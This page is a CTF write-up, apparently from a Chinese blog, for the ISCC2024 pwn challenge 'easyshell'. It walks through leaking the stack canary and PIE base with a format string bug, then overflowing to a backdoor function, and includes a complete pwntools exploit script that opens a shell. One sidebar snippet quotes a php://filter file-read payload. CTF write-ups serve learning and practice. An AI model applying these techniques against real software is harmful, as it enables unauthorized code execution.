ISCC-easyshell

maven项目使用JavaFX生成可运行exe文件 最近研究OCR技术,需要使用javafx-maven-plugin生成可运行的exe文件,但是遇到以下问题: [INFO] Skipping 'EXE 安装程序' because of configuration error '找不到 InnoSetup 编译器 (iscc.exe)。' Advice to fix: 从 http://www.jrsoftware.org 下载 InnoSet... 阅读详情

最近事务繁多,导致这个wp至今才搞出来,现在发网上,希望能对大家有所帮助

首先,我们先检查一下二进制文件

发现pie和canary全开,不用着急,我们来看看文件

我们先正常的进行一下反编译,发现一个较为明显的格式化字符串漏洞,并且还有一个后门函数

这样我们就有了大概的思路

我们只要确保输入的前几个字符为flagis,然后就可以从第七个字节开始进行格式化字符串泄露,把pie和canary都泄露出来

那么接下来要做的就是找出canary的位置

我们发现在这里,其位置也就是6+[(0x40-0x8)/8]即15

这样我们可以用%15p将canary的内容打出来了,接下里就需要考虑如何去泄露pie的偏移量了,我们可以本地gdb调试一下,看看栈上都有些什么,运行到printf函数,看看栈内容

第一个箭头是canary的值,而后两个位置,也就是第二个红色箭头,我们便可以用来泄露mian+254从而得到pie基地址,即%17p-(0x1422+254)/全部换为16进制就是0x1520/.

至此,pie和canary全部泄露出来,接下来利用后门函数进行栈溢出就可以啊

脚本如下

from pwn import *
from ctypes import*
p=process('./attachment-13')
payload=b'flagis\x00'+b'%17$p--%15$p'
p.recvuntil(b'>>')
p.sendline(payload)
​
p.recvuntil(b'0x')
elf_add=int(p.recv(6*2),16)
elfbase=elf_add-0x1520
success('elfbase '+hex(elfbase))
​
p.recvuntil(b'0x')
canary=int(p.recv(8*2),16)
success('canary '+hex(canary))
backdoor=elfbase+0x1291
payload=b'exit'.ljust(56,b'\x00')+p64(canary)+p64(0)+p64(backdoor)
p.recvuntil(b'>>')
p.sendline(payload)
​
p.interactive()
​

最终得到shell

告别手动打包!用InnoSetup命令行工具ISCC实现自动化编译(附完整bat脚本) 本文详细介绍了如何利用InnoSetup命令行工具ISCC实现软件安装包的自动化编译与部署。通过解析ISCC核心参数、提供完整的批处理脚本示例,并演示如何与Visual Studio及CI/CD流水线集成,帮助开发者和DevOps工程师构建高效、可靠的工业级自动化打包流程,彻底告别繁琐的手动操作。 阅读详情

相关推荐

innosetup脚本范例

innosetup打包脚本范例,仅供参考

程序打包

@ echo off  echo ****自动生成setup.exe文件*****  echo 请确机器安装了inoSetup、安装路径为C:\Program Files\Inno Setup 5 echo 请确保待打包的文件位于.\SetupScript\Setup echo ****************************************** Set BUIL

★慕名斋★ 1060

innosetup-6.0.5 exe打包安装程序

innosetup 是一个免费的 Windows 安装程序制作软件,可以通过该工具完成对exe程序的打包,生成安装程序

用bat脚本自动生成安装包Innosetup

InnoSetup的命令行工具是ISCC.exe来运行。 bat自动编译打包,就是调用ISCC.exe来执行。 在拥有一个脚本iss文件后,我们直接以运行bat命令行脚本的方式,用Innosetup编译打包。 bat文件命令行: c: cd C:\Program Files (x86)\Inno Setup 6 iscc "D:\devCode\installer-master\MySetupInstall.iss" pause 用c:切进入C盘,打开进入InnoSetup安装目录,启动IS...

甜筒八部 的专栏 3887

InnoSetup V5.23【安装制作】

一款很不错的,安装制作工具。 上传日期:2009年1月5日

easyShell eclipse插件非常好用

easyShell eclipse插件非常好用,支持打开项目或文件所在文件夹,复制路径,在文件所在路径打开cmd窗口等。

InnoSetup 以命令行自动编译打包

本章介绍,在新建Innosetup的编译脚本iss文件后,在不运行Innosetup软件的基础上,以bat自动编译运行打包。 一、添加Innosetup软件包 下载InnoSetup软件包并解压到build文件夹下,方便后续自动打包时直接引用exe文件。 二、添加innosetup打包配置文件 iss脚本文件的配置与生成,可以参考InnoSetup 脚本打包及管理员权限设置 三、添加命令...

weixin_30664539的博客 2223

EBOM转MBOM实战:华为云数字工厂如何5步搞定BOM自动转换(含避坑指南)

本文详细解析了华为云数字工厂平台如何通过五步自动化流程实现EBOM到MBOM的高效转换,涵盖模型预配置、逻辑流编排、工艺属性注入等关键步骤,并提供了多工厂差异化配置、历史数据迁移等典型场景的避坑指南。该方案显著提升转换效率,降低差错率,助力企业实现数字化转型。

weixin_29215391的博客 270

ISCC2024个人挑战赛WP-easyshell

还给了后面函数,先利用fmt泄露出canary和elf地址,之后ret2text。(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考)有一个溢出和fmt漏洞。

qq_59468567的博客 528

从外包到转正:一个华为OD亲历者的真实工作体验与避坑指南

本文分享了一位华为OD员工从外包到转正的真实经历与实用建议。通过详细解析华为OD的日常工作、转正核心指标、机试备考技巧及职场突围策略,为读者提供了一份全面的避坑指南。特别针对机试E卷的高频考点和刷题方法,给出了具体的数据分析和实战经验。

weixin_33686714的博客 705

模拟波束赋形 vs 数字波束赋形:5G天线设计中的成本与性能权衡

本文深入剖析了5G天线设计中模拟波束赋形与数字波束赋形的核心差异,重点探讨了二者在硬件成本、功耗、网络覆盖能力和频谱效率等方面的权衡。文章指出,模拟方案成本低但灵活性有限,数字方案性能强大但代价高昂,而混合波束赋形已成为主流折中方案。决策需紧密结合具体的部署场景、性能要求和总拥有成本进行综合考量。

weixin_28432777的博客 840

配置Eclipse :安装插件EasyShell以使用Windows powershell

一、动机 1.从控制台读取密码 package helloWorld; import java.io.Console; public class Hello { public static void main(String[] args) { // TODO Auto-generated method stub Console cons = System.console(); String username = cons.readLine("User name: "); char[]

南七行者的博客 712

“华为杯”研究生数学建模竞赛2020年-【华为杯】E题:能见度估计与预测(附获奖论文及python代码实现)

因此,题目要求借助机场的 AMOS 观测数据中的气压、温度、湿度、风速等气象因子,达到 100% 时,空气中的水汽便会凝结成细微的水滴悬浮于空中,使地面水平的能见度下。传统的仪器探测法成本高,覆盖范围小,而基于视频的能见度检测能弥补仪器测量的不足之处,但是预测精度不高,需要进一步改。象条件,空气质量的影响,其中较为关键的影响因子是雾和霾。性过强,激光能见度仪的检测方法更为可信,但是激光能见度仪覆盖的检测范围小,安装。覆盖的交通视频路况数据间接计算得到能见度数值的方法,此方法成本较低,覆盖范围广。

getusushu的博客 2284

exe传递参数

<br />[C#] <br />public   static   Process   Start( <br />      string   fileName, <br />      string   arguments <br />); <br /><br />System.Environment.GetCommandLineArgs() <br />可以获取程序的运行参数

csdsuper的专栏 882

基于STM32设计的水下水质检测装置(微信小程序)(205)

本项目设计了一款基于STM32微控制器为核心的水下水质检测设备,该设备具有高度集成化、智能化的特点,能够实时监测水深、温度、浊度及溶解性总固体(TDS)等关键水质参数,并通过4G网络将数据上传至腾讯云IOT物联网平台,实现远程监控和数据分析。同时,为了便于操作和移动观测,还配套开发了微信小程序,用户可通过微信小程序实时查看并控制设备的各项功能,如调整下潜深度等。

1252

SAP生产订单技术性完成(TECO)操作指南与实战应用

生产订单技术关闭操作指南主要包括单笔和批量关闭两种方式,通过CO02/COHV事务码完成。

m0_47402127的博客 1932

Polar靶场的Easy_ShellCode

在start中我们看到一个read和一个puts,read函数是存在缓冲区溢出的,这里生命的字符串是最大104位,但是read读取的是100个字节,我们找不到/bin/bash,所以查看str的bss,传入到bss中一个shellcode然后使用第二个read进行溢出。打开题目之后,我们下载附件,去检查文件是32还是64,这个是一个32的程序,然后我们来进行checksec来分析,分析出来没有任何的保护,使用IDA工具静态调试。打开后我们这里可以看到两个函数,我们通过分析两个函数找到漏洞利用的点。

chinese_cabbage0的博客 426

CVAEGAN实现锂离子电池EIS数据增强:基于健康状态的阻抗谱生成

本文提出了一种基于CVAEGAN的锂离子电池EIS数据增强方法。该方法结合了变分自编码器和生成对抗网络的优点,能够根据指定的健康状态(SoH)生成高质量的EIS阻抗谱数据。文章详细介绍了数据预处理流程、模型架构设计(包括编码器、解码器和判别器),并提供了完整的PyTorch实现代码。通过条件生成的方式,该方法可以有效解决电池健康评估中标注数据不足的问题,为基于数据驱动的电池诊断提供更丰富的训练样本。实验结果表明,生成的EIS数据具有良好的真实性和多样性,可用于增强电池健康状态评估模型的性能。

huanghm88的专栏 499

eclipse 插件easyshell

easyshell是一个非常好用的eclipse插件工具,用于快速打开文件目录、复制文件路径、cmd打开等等,比easyexplore更强大。 方法一: 1、打开eclipse 商店 2、搜索easyshell 3、点击install 重启即可安装好 方法二:; easy官网: http://sourceforge.net/projects/pluginbox/?sou

Beyond The Sky 4455

【深度学习新浪潮】OpenClaw技术架构详解:从核心组件到生产级优化

OpenClaw 以三层解耦架构 + 四大核心模块为基础,实现了本地优先、易部署、易扩展、易优化的 AI 智能体平台。开发者可通过极简部署快速落地,再通过量化、缓存、并发、分布式等手段持续优化性能,适合从个人助理到企业级自动化的全场景应用。

专注:太空算力、AI infra、异构调度、大模型成本工程 2921

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

Inno Setup命令行编译指南:10个自动化构建流程技巧

Inno Setup是一个强大的Windows安装程序制作工具,其命令行编译器ISCC.exe为开发者提供了自动化构建的能力。本文将详细介绍Inno Setup命令行编译器的使用方法和最佳实践,帮助您实现高效的安装包自动化构建流程。😊 ## 什么是ISCC命令行编译器? ISCC(Inno Setup Command-line Compiler)是Inno Setup提供的命令行工具,位于`

gitblog_00726的博客 835

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Eclipse 插件之Easy Shell

1. Easy Shell 是什么? 2. 安装方法 3. 遇到的问题 4. 配置快捷键

courage的专栏 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

ctfshow 36d

36D练手赛不知所措easy shell36D杯给你shellWUSTCTF朴实无华RevengeALL_INFO_U_WANT你取吧 36D练手赛 不知所措 $file 暗示参数为file 且url必须含有test ?file=php://filter/convert.base64-encode/resource=test/../index. ​ 解码得到源代码 <?php error_reporting(0); $file=$_GET['file']; $file=$file.'ph.

blowed的博客 2327

ISCC 2019 杂项 无法运行的exe (可执行文件无法运行,你是否能修复它?)

下载之后解压之后 打开发现 根本就打不开 将文件后缀改为 .txt 后打开 iVBORw0KGgAAAAANSUhEUgAAASkAAAEpAQAAAADn4ukvAAACAklEQVR4nO2aQY6bQBBF3wdLsGvvsoSb4JzM+GbmCLmBvcwOFpFAMvwsIJ5ZjsRkcEj3BlR6Un9apa+qLmQ+sC7JRyiIWMQi...

qq_42777804的博客 2015

EasyShell的安装与使用

EasyShell的安装与使用

aotian16的专栏 5832
上一篇: 格式化字符串修改将非栈上地址修改
下一篇: 关于GDB如何进行两个窗口联动调试
T_Fire_of_Square
博客等级 码龄3年 110粉丝 29原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值